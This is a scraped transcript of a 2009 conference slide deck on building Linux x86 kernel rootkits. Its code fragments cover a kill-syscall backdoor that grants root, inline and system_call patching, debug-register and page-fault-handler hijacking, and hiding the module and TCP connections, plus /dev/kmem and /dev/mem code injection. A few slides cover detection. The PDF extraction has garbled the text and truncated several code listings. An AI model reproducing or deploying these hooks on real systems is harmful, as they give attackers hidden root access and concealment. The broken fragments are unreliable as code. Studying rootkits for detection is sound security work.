wangyao- rootkit on linux x86

Upload: white909

Post on 06-Apr-2018

252 views

Category:

Documents


0 download

TRANSCRIPT

  • 8/3/2019 WangYao- Rootkit on Linux x86

    1/72

    WangYao2009-08-02

    Rootkit on Linux x86

  • 8/3/2019 WangYao- Rootkit on Linux x86

    2/72

    NOTE

    The report and code is very evil.Enjoy it at your own risk.

  • 8/3/2019 WangYao- Rootkit on Linux x86

    3/72

    Index Rootkit In Brief

    Rootkit based on LKM How to get sys_call_table

    Simple sys_call_table hook

    Inline hook

    Patching system_call Abuse Debug Registers

    Hijack Linux Page Fault Handler

    Kprobe

    Real Rootkit

    Rootkit based non-LKM Using /dev/kmem and kmalloc

    Using /dev/mem and kmalloc

    Other Detect and Protect Methods

    More rootkits

  • 8/3/2019 WangYao- Rootkit on Linux x86

    4/72

    Rootkits In Brief

    A rootkit is a set of software tools intended toconceal running processes, files or system datafrom the operating system Rootkits often

    modify parts of the operating system or installthemselves as drivers or kernel modules.

    Rootkit, Trojans, Virus, Malware?

    Now, they often bind together, be called malware.

  • 8/3/2019 WangYao- Rootkit on Linux x86

    5/72

    Rootkits' Category

    UserSpace Rootkit

    Run in user space

    Modify some files,libs,config files, and so on.

    KernelSpace Rootkit Run in kernel space

    Modify kernel structures, hook system calls at the

    lowest level

  • 8/3/2019 WangYao- Rootkit on Linux x86

    6/72

    Rootkits' Common Function

    Hide Process

    Hide File

    Hide Network Connection

    Back Door

    Key Logger

    Hide Self

  • 8/3/2019 WangYao- Rootkit on Linux x86

    7/72

    Key words

    Hijack

    Hook

    IDT

    Int 0x80/sysenter

    system_call

    sys_call_table __ex_table

    Debug Register

  • 8/3/2019 WangYao- Rootkit on Linux x86

    8/72

    Rootkit's implement

    Hook system call table

    Hook exception table

    Hook Some Kernel Struct's ops handler

    On-fly Kernel Patching through /dev/kmem or/dev/mem

    Static Kernel Patching

  • 8/3/2019 WangYao- Rootkit on Linux x86

    9/72

    Hook system call table

    Idtr

    system_call

    sys_call_table

    Syscall handlers in sys_call_table

    Opcode of syscalls

  • 8/3/2019 WangYao- Rootkit on Linux x86

    10/72

    Rootkits based on LKM

    How to get sys_call_table

    Simple sys_call_table hook

    Inline hook

    Patching system_call

    Abuse Debug Registers

    Hijack Linux Page Fault Handler Real Rootkit

  • 8/3/2019 WangYao- Rootkit on Linux x86

    11/72

    sys_call_table

  • 8/3/2019 WangYao- Rootkit on Linux x86

    12/72

    How to get sys_call_table

    Historically, LKM-based rootkits used thesys_call_table[] symbol to perform hooks on thesystem calls

    However, since sys_call_table[] is not an exportedsymbol anymore, this code isnt valid

    We need another way to find sys_call_table[]

    sys_call_table[__NR_open] = (void *) my_func_ptr;

  • 8/3/2019 WangYao- Rootkit on Linux x86

    13/72

    How to get sys_call_table

    The function system_call makes a directaccess to sys_call_table[](arch/i386/kernel/entry.S:240)

    In x86 machine code, this translates to:

    Where the 4 addr bytes form the address ofsys_call_table[]

    call *sys_call_table(,%eax,4)

    0xff 0x14 0x85

  • 8/3/2019 WangYao- Rootkit on Linux x86

    14/72

    How to get sys_call_table

    Problem: system_call is not exported too

    Its not, but we can discover where it is!

    system_call is set as a trap gate of the system

    (arch/i386/kernel/traps.c:1195):

    In x86, this means that its address is stored inside theInterrupt Descriptor Table (IDT)

    The IDT location can be known via the IDT register(IDTR)

    And the IDTR, finally, can be retrieved by the SIDT

    (Store IDT) instruction

    set_system_gate(SYSCALL_VECTOR,&system_call);

  • 8/3/2019 WangYao- Rootkit on Linux x86

    15/72

    How to get sys_call_table

    Steps to get sys_call_table Get the IDTR using SIDT

    Extract the IDT address from the IDTR

    Get the address of system_call from the 0x80th entry of theIDT

    Search system_call for our code fingerprint

    We should have the address of sys_call_table[] by now,have fun!

  • 8/3/2019 WangYao- Rootkit on Linux x86

    16/72

    IDT

  • 8/3/2019 WangYao- Rootkit on Linux x86

    17/72

    IDT Descriptor

    3 Types:Task GateInterrupt GateTrap Gate

  • 8/3/2019 WangYao- Rootkit on Linux x86

    18/72

    get_system_call

    void *get_system_call(void){

    unsigned char idtr[6];unsigned long base;

    struct idt_descriptor desc;

    asm ("sidt %0" : "=m" (idtr));base = *((unsigned long *) &idtr[2]);memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

    return((void *) ((desc.off_high

  • 8/3/2019 WangYao- Rootkit on Linux x86

    19/72

    get_sys_call_tablevoid *get_sys_call_table(void *system_call){

    unsigned char *p;unsigned long s_c_t;int count = 0;p = (unsigned char *) system_call;while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))){

    p++;

    if (count++ > 500){

    count = -1;break;

    }}if (count != -1)

    {p += 3;s_c_t = *((unsigned long *) p);

    }else

    s_c_t = 0;return((void *) s_c_t);

    }

  • 8/3/2019 WangYao- Rootkit on Linux x86

    20/72

    Simple sys_call_table Hook

    [...]

    asmlinkage int (*old_kill) (pid_t pid, int sig);

    [...]

    int init_module(void){

    old_kill = sys_call_table[SYS_kill] ;sys_call_table[SYS_kill]= (void *) my_kill;

    [...]

    }

    void cleanup_module(void){ sys_call_table[SYS_kill] = old_kill;

    [...]

    }

  • 8/3/2019 WangYao- Rootkit on Linux x86

    21/72

    sys_exit0xc0123456

    Sys_write0xc0415161

    sys_read0xc0112131

    sys_fork0xc0789101

    0xc0123456: int sys_exit(int)..

    0xc0789101: int sys_fork(void)..

    0xc0112131: int sys_read(int,void*,int)..

    0xc0415161: int sys_write(int,void*,int)..

    ...

    ...

    0xbadc0ded: int hacked_write(int,void*,void)HackedWrite

    0xbadc0ded

  • 8/3/2019 WangYao- Rootkit on Linux x86

    22/72

    Simple kill syscall hook

    asmlinkage int hacked_kill(pid_t pid, int sig)

    { struct task_struct *ptr = current;int tsig = SIG, tpid = PID, ret_tmp;

    printk("pid: %d, sig: %d\n", pid, sig);if ((tpid == pid) && (tsig == sig))

    { ptr->uid = 0;ptr->euid = 0;ptr->gid = 0;ptr->egid = 0;return(0);

    }else{

    ret_tmp = (*orig_kill)(pid, sig);return(ret_tmp);

    }return(-1);

    }

    $whoami

    wangyao$Kill -s 58 12345$whoami$root

  • 8/3/2019 WangYao- Rootkit on Linux x86

    23/72

    Inline hook

    sys_exit0xc0123456

    sys_write0xc0415161

    sys_read0xc0112131

    sys_fork0xc0789101

    0xc0123456: int sys_exit(int)..

    0xc0789101: int sys_fork(void)..

    0xc0112131: int sys_read(int,void*,int)..

    0xc0415161: int sys_write(int,void*,int)..

    ...

    ...

    0xbadc0ded: int hacked_write(int,void*,void)

    Hacked Write0xbadc0ded

    jmp hacked_write

    ret

  • 8/3/2019 WangYao- Rootkit on Linux x86

    24/72

    Inline hookprintk("Init inline hook.\n");s_call = get_system_call();sys_call_table = get_sys_call_table(s_call);

    orig_kill = sys_call_table[__NR_kill];memcpy(original_syscall, orig_kill, 5);

    buff = (unsigned char*)orig_kill;

    hookaddr = (unsigned long)hacked_kill;

    //buff+5+offset = hookaddroffset = hookaddr - (unsigned int)orig_kill - 5;printk("hook addr: %x\n", hookaddr);printk("offset: %x\n", offset);

    *buff = 0xe9; //jmp*(buff+1) = (offset & 0xFF);*(buff+2) = (offset >> 8) & 0xFF;*(buff+3) = (offset >> 16) & 0xFF;*(buff+4) = (offset >> 24) & 0xFF;

    printk("Modify kill syscall.\n");

    Detect simple sys call table hook

  • 8/3/2019 WangYao- Rootkit on Linux x86

    25/72

    Detect simple sys_call_table hookand inline hook

    Detections Saves the addresses of every syscall

    Saves the checksums of the first 31 bytes of every

    syscalls code Saves the checksums of these data themselves

    Now you cant change the addresses in thesystem call table

    Also cant patch the system calls with jmps toyour hooks

    More Tricks......

    P t hi t ll

  • 8/3/2019 WangYao- Rootkit on Linux x86

    26/72

    Patching system_call

    How to hook all syscalls, without modifysys_call_table and IDT? You can modify int0x80's handler(system_call), and manage thesystem calls directly.

    t ll

  • 8/3/2019 WangYao- Rootkit on Linux x86

    27/72

    system_call

    ---- arch/i386/kernel/entry.S ----# system call handler stubENTRY(system_call)

    pushl %eax # save orig_eaxSAVE_ALLGET_THREAD_INFO(%ebp)

    cmpl $(nr_syscalls), %eax ---> Those two instrutions will replaced byjae syscall_badsys ---> Our Own jump

    # system call tracing in operationtestb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp)jnz syscall_trace_entry

    syscall_call:call *sys_call_table(,%eax,4)movl %eax,EAX(%esp) # store the return value....

    ---- eof ----

    P t hi t ll T i k

  • 8/3/2019 WangYao- Rootkit on Linux x86

    28/72

    Patching system_call Trick

    Original Code: 11 Bytes 'cmpl $(nr_syscalls), %eax' ==> 5 Bytes

    'jae syscall_badsys' ==> 6 Bytes

    Jump Code: 6 Bytes 'pushl $addr' ==> 5 Bytes

    'ret' ==> 1 Bytes

  • 8/3/2019 WangYao- Rootkit on Linux x86

    29/72

    set sysenter handler

  • 8/3/2019 WangYao- Rootkit on Linux x86

    30/72

    set_sysenter_handlervoid set_sysenter_handler(void *sysenter){

    unsigned char *p;unsigned long *p2;p = (unsigned char *) sysenter;/* Seek "call *sys_call_table(,%eax,4)"*/while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))

    p++;/* Seek "jae syscall_badsys" */

    while (!((*p == 0x0f) && (*(p+1) == 0x83)))p--;

    p -= 5;memcpy(orig_sysenter, p, 6);start_patch_sysenter = p;

    /* We put the jump*/*p++ = 0x68; /*pushl*/p2 = (unsigned long *) p;*p2++ = (unsigned long) ((void *) new_idt);

    /*now, "jae"-->ret*/p = (unsigned char *) p2;

    *p = 0xc3; /*ret*/

    new idt & hook

  • 8/3/2019 WangYao- Rootkit on Linux x86

    31/72

    new_idt & hook

    void new_idt(void){

    ASMIDType(

    "cmp %0, %%eax \n""jae syscallbad \n"

    "jmp hook \n"

    "syscallbad: \n""jmp syscall_exit \n"

    : : "i" (NR_syscalls));

    }

    void hook(void){

    register int eax asm("eax");

    switch (eax){case __NR_kill:

    CallHookedSyscall(hacked_kill);break;

    default:JmPushRet(syscall_call);break;

    }

    JmPushRet( after_call );}

    Detect system call hook

  • 8/3/2019 WangYao- Rootkit on Linux x86

    32/72

    Detect system_call hook

    Trick 1: Copy the system call table and patchthe proper bytes in system_call with the newaddress

    This can be avoided by having St. Michael makingchecksums of system_call code too

    Trick 2: Copy system_call code, apply Trick 1on it, and modified the 0x80th ID in the IDT with

    the new address This can be avoided by having St. Michael storing

    the address of system_call too

    Abuse Debug Registers

  • 8/3/2019 WangYao- Rootkit on Linux x86

    33/72

    Abuse Debug Registers

    DBRs 0-3: contain the linear address of abreakpoint. A debug exception (# DB) isgenerated when the case in an attempt toaccess at the breakpoint

    DBR 6: lists the conditions that were presentwhen debugging or breakpoint exception wasgenerated

    DBR 7: Specifies forms of access that will resultin the debug exception to reaching breakpoint

    Debug Registers

  • 8/3/2019 WangYao- Rootkit on Linux x86

    34/72

    Debug Registers

    Evil Ideas of abusing debug

  • 8/3/2019 WangYao- Rootkit on Linux x86

    35/72

    g gRegisters

    Based on the above far this allows us togenerate a #DB when the cpu try to run codeinto any memory location at our choice, even akernel space

    Evil Ideas

    Set breakpoint on system_call(in 0x80's handler)

    Set breakpoint on sysenter_entry(sysenter handler)

    OMG, every syscall will be hooked!

    Evil Ideas of abusing debug

  • 8/3/2019 WangYao- Rootkit on Linux x86

    36/72

    g gRegisters

    The #DB also be managed through IDT

    fastcall void do_debug(struct *pt_regs,int errorcode)

    At the moment we can then divert anyflow execution kernel to do_debug,

    without changing a single bit of textsegment!

    ENTRY(debug)pushl $0pushl $SYMBOL_NAME(do_debug)jmp error_code

    Some breakpoint code

  • 8/3/2019 WangYao- Rootkit on Linux x86

    37/72

    Some breakpoint code

    /* get dr6 */

    __asm__ __volatile__ ( "movl %%dr6,%0 \n\t": "=r" (status) );

    /* DR2 2nd watch on the syscall_table entry for this syscall */dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);

    /* set dr2 read watch on syscall_table */__asm__ __volatile__ ( "movl %0,%%dr2 \n\t"

    :: "r" (dr2) );

    /* enable exact breakpoint detection LE/GE */s_control |= TRAP_GLOBAL_DR2;s_control |= TRAP_LE;s_control |= TRAP_GE;

    s_control |= DR_RW_READ

  • 8/3/2019 WangYao- Rootkit on Linux x86

    38/72

    Hook do_debug

    When hardware breakpoints appear, kernel willcall do_debug(). BUT orignal do_debug() notset eip to our evil func. So we must hookdo_debug() ourself.

    It means that INT 1 of IDT, will be sethacked_do_debug() insead of do_debug().

    Find do debug

  • 8/3/2019 WangYao- Rootkit on Linux x86

    39/72

    Find do_debug

    KPROBE_ENTRY(debug)RING0_INT_FRAMEcmpl $sysenter_entry,(%esp)

  • 8/3/2019 WangYao- Rootkit on Linux x86

    40/72

    Patch do_debugstatic int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug){

    unsigned char *p = (unsigned char *)handler;unsigned char buf[4] = "\x00\x00\x00\x00";unsigned int offset = 0, orig = 0;

    /* find a candidate for the call .. needs better heuristics */while (p[0] != 0xe8)

    p ++;

    buf[0] = p[1];buf[1] = p[2];buf[2] = p[3];buf[3] = p[4];

    offset = *(unsigned int *)buf;orig = offset + (unsigned int)p + 5;

    offset = my_do_debug - (unsigned int)p - 5;

    p[1] = (offset & 0x000000ff);p[2] = (offset & 0x0000ff00) >> 8;p[3] = (offset & 0x00ff0000) >> 16;p[4] = (offset & 0xff000000) >> 24;

    return orig;}

    Debug register hook

  • 8/3/2019 WangYao- Rootkit on Linux x86

    41/72

    Debug register hook

    From hacked_do_debug can then have accessto the value of eip representing the returnaddress on the person who triggered thebreakpoint, which is the kernel in our case, so

    you can change at will the flow of executionafter the procedure!

    Changing eip can send a running our routine

    that once made the 'dirty work' take care torestore the original flow of executionregs->eip = (unsigned int)hook_table[regs->eax];

    Execution flow

  • 8/3/2019 WangYao- Rootkit on Linux x86

    42/72

    Execution flow

    hacked do debug

  • 8/3/2019 WangYao- Rootkit on Linux x86

    43/72

    hacked_do_debughacked_do_debug():/* get dr6 */

    __asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) );....../* check for trap on dr2 */if (status & DR_TRAP2){

    trap = 2;status &= ~DR_TRAP2;

    }......if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]){

    /* double check .. verify eip matches original */unsigned int verify_hook = (unsigned int)sys_p[regs->eax];if (regs->eip == verify_hook)

    {//regs->eip = (unsigned int)hook_table[regs->eax];DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax, verify_hook, \

    (unsigned int)hook_table[regs->eax]));}

    }

    ......

    More Evil

  • 8/3/2019 WangYao- Rootkit on Linux x86

    44/72

    More Evil

    We modified do_debug(), if someone check theaddress of do_debug(), will find the rootkit.

    Wait, if we set another hardware breakpoint on

    do_debug()'s address. It means that we canreturn someone the wrong address ofdo_debug(), and can not be detected.

    Debug Regiser Save us again :-)

    Hijack Linux Page Fault Handler

  • 8/3/2019 WangYao- Rootkit on Linux x86

    45/72

    Hijack Linux Page Fault Handler

    4 cases which Page Fault exceptions may occur in Kernel Mode: The kernel attempts to address a page belonging to the process address

    space, but either the corresponding page frame does not exist or thekernel tries to write a read-only page. In these cases, the handler mustallocate and initialize a new page frame.

    The kernel addresses a page belonging to its address space, but thecorresponding Page Table entry has not yet been initialized . In thiscase, the kernel must properly set up some entries in the Page Tables ofthe current process.

    Some kernel functions include a programming bug that causes theexception to be raised when that program is executed; alternatively, the

    exception might be caused by a transient hardware error. When thisoccurs, the handler must perform a kernel oops.

    A system call service routine attempts to read or write into a memoryarea whose address has been passed as a system call parameter, butthat address does not belong to the process address space.

    Detect 4 page fault cases

  • 8/3/2019 WangYao- Rootkit on Linux x86

    46/72

    p g

    The faulty linear address is included in one ofthe memory regions owned by the process.

    The corresponding master kernel Page Table

    entry includes a proper non-null entry that mapsthe address.

    How to distinguish 3 case and 4 case?

    The Exception Tables(__ex_table)

    The Exception Tables

  • 8/3/2019 WangYao- Rootkit on Linux x86

    47/72

    p

    The key to determining the source of a Page Fault lies inthe narrow range of calls that the kernel uses to accessthe process address space.

    The Exception Tables is stored in the _ _ex_table section

    of the kernel code segment, and its starting and endingaddresses are identified by two symbols produced by theC compiler: _ _start_ _ _ex_table and _ _stop_ __ex_table.

    struct exception_table_entry {

    unsigned long insn, fixup;};......if ((fixup = search_exception_tables(regs->eip))) {

    regs->eip = fixup->fixup;return 1;

    }

    get user x example

  • 8/3/2019 WangYao- Rootkit on Linux x86

    48/72

    g _ _ p_ _get_user_1:

    [...]

    1: movzbl (%eax), %edx[...]

    _ _get_user_2:[...]

    2: movzwl -1(%eax), %edx[...]

    _ _get_user_4:[...]

    3: movl -3(%eax), %edx[...]

    bad_get_user:xorl %edx, %edx

    movl $-EFAULT, %eaxret

    .section _ _ex_table,"a".long 1b, bad_get_user.long 2b, bad_get_user.long 3b, bad_get_user

    .previous

    Steps

  • 8/3/2019 WangYao- Rootkit on Linux x86

    49/72

    p

    Set _ex_table Page Permission to RDWR Set hook func's address to page fault handler's

    fixup code address in _ex_table

    Save Back _ex_table's Page Permission Userspace Create Page Fault Condition, using

    invalid address of syscall

    Save back page fault handler's fixup codeaddress in _ex_table

    Modify Page Permission

  • 8/3/2019 WangYao- Rootkit on Linux x86

    50/72

    y g

    Clear CR0 WP flag When the processor is in supervisor mode and the

    WP flag in register CR0 is clear (its state followingreset initialization), all pages are both readable and

    writable (write-protection is ignored). CR0.WP=0

    Using change_page_attr() Kernel API

    Kprobe

  • 8/3/2019 WangYao- Rootkit on Linux x86

    51/72

    Kprobes enables you to dynamically break into anykernel routine and collect debugging andperformance information non-disruptively. You cantrap at almost any kernel code address, specifying

    a handler routine to be invoked when thebreakpoint is hit.

    Kprobe is so cool, also can used to write rookit;-)

    BUT Debian kernel whithout CONFIG_KPROBE ;-(

    You can Refer Kernel's sample: samples/kprobes/jprobe_example.c samples/kprobes/kprobe_example.c

    Real Rootkit

  • 8/3/2019 WangYao- Rootkit on Linux x86

    52/72

    Strace system call Hook system call

    Hide rootkit self

    Strace system call

  • 8/3/2019 WangYao- Rootkit on Linux x86

    53/72

    $strace ls......open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)getdents64(3, /* 9 entries */, 4096) = 272getdents64(3, /* 0 entries */, 4096) = 0close(3) = 0......$strace ps

    ......stat64("/proc/3105", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0open("/proc/3105/stat", O_RDONLY) = 6read(6, "3105 (kmpathd/0) S 2 0 0 0 -1 41"..., 1023) = 130close(6) = 0...... $strace netstat -ant

    ......open("/proc/net/tcp", O_RDONLY) = 3read(3, " sl local_address rem_address "..., 4096) = 600write(1, "tcp 0 0 0.0.0.0:21 "..., 80) = 80write(1, "tcp 0 0 192.168.122."..., 80) = 80write(1, "tcp 0 0 127.0.0.1:63"..., 80) = 80read(3, "", 4096) = 0

    close(3) = 0......

    Hook system call

  • 8/3/2019 WangYao- Rootkit on Linux x86

    54/72

    Have be discussed Previously Simple sys_call_table hook

    Inline hook

    Patching system_call Abuse Debug Registers

    Hide module & network

  • 8/3/2019 WangYao- Rootkit on Linux x86

    55/72

    struct module *m = &__this_module;

    /* Delete from the module list*/if (m->init == init_module)

    list_del(&m->list);

    struct proc_dir_entry *tcp = proc_net->subdir->next;

    /* redefine tcp4_seq_show() */while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir))

    tcp = tcp->next;

    /* Hide TCP Connection Information in /proc/net/tcp */if (tcp != proc_net->subdir){

    orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show;((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show;

    }

    Rootkits based on non-LKM

  • 8/3/2019 WangYao- Rootkit on Linux x86

    56/72

    Access kernel resource from userspacethrough some infrastructure of Linux, Mostlybased on /dev/kmem and /dev/mem.

    Famous rootkit

    suckit

    /dev/kmem

  • 8/3/2019 WangYao- Rootkit on Linux x86

    57/72

    /dev/kmem Kernel space virtual memory snapshot

    /dev/mem

    Physical memory snapshot Hacking

    read/write

    mmap

    Using kmalloc based non-LKMcode injection

  • 8/3/2019 WangYao- Rootkit on Linux x86

    58/72

    code injection The addresses of the syscall table and of the function kmalloc()

    within the kernel are found by searching kernel memory forcertain patterns.

    The function kmalloc() is internal to the kernel and needed toreserve space in kernel memory. The address of kmalloc() isput into an unused entry of the syscall table.

    kmalloc() is executed as a system call and memory in thekernel is allocated.

    The rootkit is written to the freshly reserved space in the kernel.

    The address of the rootkit is put into the unused entry of thesyscall table, overwriting the address of kmalloc().

    The rootkit is called as a system call and finally running inkernel mode.

    Opcode

  • 8/3/2019 WangYao- Rootkit on Linux x86

    59/72

    #objdump -d simplehook.ko0000005b :

    5b:8b 4c 24 04 mov 0x4(%esp),%ecx5f: 64 a1 [00 00 00 00] mov %fs:0x0,%eax

  • 8/3/2019 WangYao- Rootkit on Linux x86

    60/72

    Sidt read/mmap /dev/kmem

    Search fingerprint opcode

    Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching)

    Hook......(same as above)

    Detection of rootkit based/dev/kmem

  • 8/3/2019 WangYao- Rootkit on Linux x86

    61/72

    /dev/kmem

    Most of distributions have disabled /dev/kmemfeature.

    Device Drivers => Character Devices =>/dev/kmem virtual device support

    BUT Debian still has this hole ;-)

    Detection:

    Using the same steps to check sys_call_table Using LKM to check sys_call_table

    /dev/mem

  • 8/3/2019 WangYao- Rootkit on Linux x86

    62/72

    /dev/mem Driver interface to physically addressable memory.

    lseek() to offset in file = offset in physical mem

    EG: Offset 0x100000 = Physical Address 0x100000 Reads/Writes like a regular character device

    /dev/mem is same with /dev/kmem

    Same techniques with Virt -> Phys addresstranslation

    Address Translation

  • 8/3/2019 WangYao- Rootkit on Linux x86

    63/72

    Higher half GDT loading concept applies Bootloader trick to use Virtual Addresses along

    with GDT in unprotected mode to resolvephysical addresses.

    Kernel usually loaded at 0x100000 (1MB) inphysical memory

    Mapped to 0xC0100000 (3GB+1MB) Virtually

    Address Translation

  • 8/3/2019 WangYao- Rootkit on Linux x86

    64/72

    0xC0100000 + 0x40000000=0xC0100000 0xC0000000=0x00100000

    /dev/mem's address translationcode

  • 8/3/2019 WangYao- Rootkit on Linux x86

    65/72

    #define KERN_START 0xC0000000int iskernaddr(unsigned long addr)

    {/*is address valid?*/if(addr

  • 8/3/2019 WangYao- Rootkit on Linux x86

    66/72

    Sidt Read /dev/mem [address translation]

    Search fingerprint opcode

    Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching)

    Hook......(same as above)

    Detection of rootkit based/dev/mem

  • 8/3/2019 WangYao- Rootkit on Linux x86

    67/72

    SELinux has created a patch to address thisproblem (RHEL and Fedora kernels are safe)

    Mainline kernel addressed this from 2.6.26

    Kernel Hacking => Filter access to /dev/mem BUT Debian still has this hole ;-)

    Detection:

    Using the same steps to check sys_call_table Using LKM to check sys_call_table

    Other Detect and Protect MethodsDi bl LKM /d /k /d /

  • 8/3/2019 WangYao- Rootkit on Linux x86

    68/72

    Disable LKM,/dev/kmem,/dev/mem Filesystem integrity Signature-based

    idt system_call sys_call_tabel opcode of syscalls __ex_table

    Behavioral analysis Execution path analysis

    Instruction Number Execution Time EIP Position

    Binary analysis

    Outlier analysis

    More rootkits

  • 8/3/2019 WangYao- Rootkit on Linux x86

    69/72

    BIOS rootkit PCI rootkit

    Virtualize Machine rootkit

    subvirt Bootkit

    NTLDR

    Grub

    ReferenceLKM R tkit Li 86 2 6

  • 8/3/2019 WangYao- Rootkit on Linux x86

    70/72

    LKM Rootkits on Linux x86 v2.6:http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt

    Mistifying the debugger, ultimate stealthnesshttp://www.phrack.com/issues.html?issue=65&id=8 Advances in attacking linux kernel

    http://darkangel.antifork.org/publications/Advances%20in%20attacking%20li Hijacking Linux Page Fault Handler

    http://www.phrack.com/issues.html?issue=61&id=7 Kernel-Land Rootkits

    http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps Intel 64 and IA-32 Architectures Software Developer's Manuals

    www.intel.com/products/processor/manuals/ Developing Your Own OS On IBM PC

    http://docs.huihoo.com/gnu_linux/own_os/index.htm Handling Interrupt Descriptor Table for fun and profit

    http://www.phrack.org/issues.html?issue=60&id=6 Execution path analysis: finding kernel based rootkits

    http://www.phrack.org/issues.html?issue=59&id=10 Malicious Code Injection via /dev/mem

    http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txthttp://www.phrack.com/issues.html?issue=65&id=8http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux%20kernel.ppthttp://www.phrack.com/issues.html?issue=61&id=7http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.ppshttp://www.intel.com/products/processor/manuals/http://docs.huihoo.com/gnu_linux/own_os/index.htmhttp://www.phrack.org/issues.html?issue=60&id=6http://www.phrack.org/issues.html?issue=59&id=10http://www.phrack.org/issues.html?issue=59&id=10http://www.phrack.org/issues.html?issue=60&id=6http://docs.huihoo.com/gnu_linux/own_os/index.htmhttp://www.intel.com/products/processor/manuals/http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.ppshttp://www.phrack.com/issues.html?issue=61&id=7http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux%20kernel.ppthttp://www.phrack.com/issues.html?issue=65&id=8http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
  • 8/3/2019 WangYao- Rootkit on Linux x86

    71/72

    Show Time;-)

  • 8/3/2019 WangYao- Rootkit on Linux x86

    72/72

    Q&A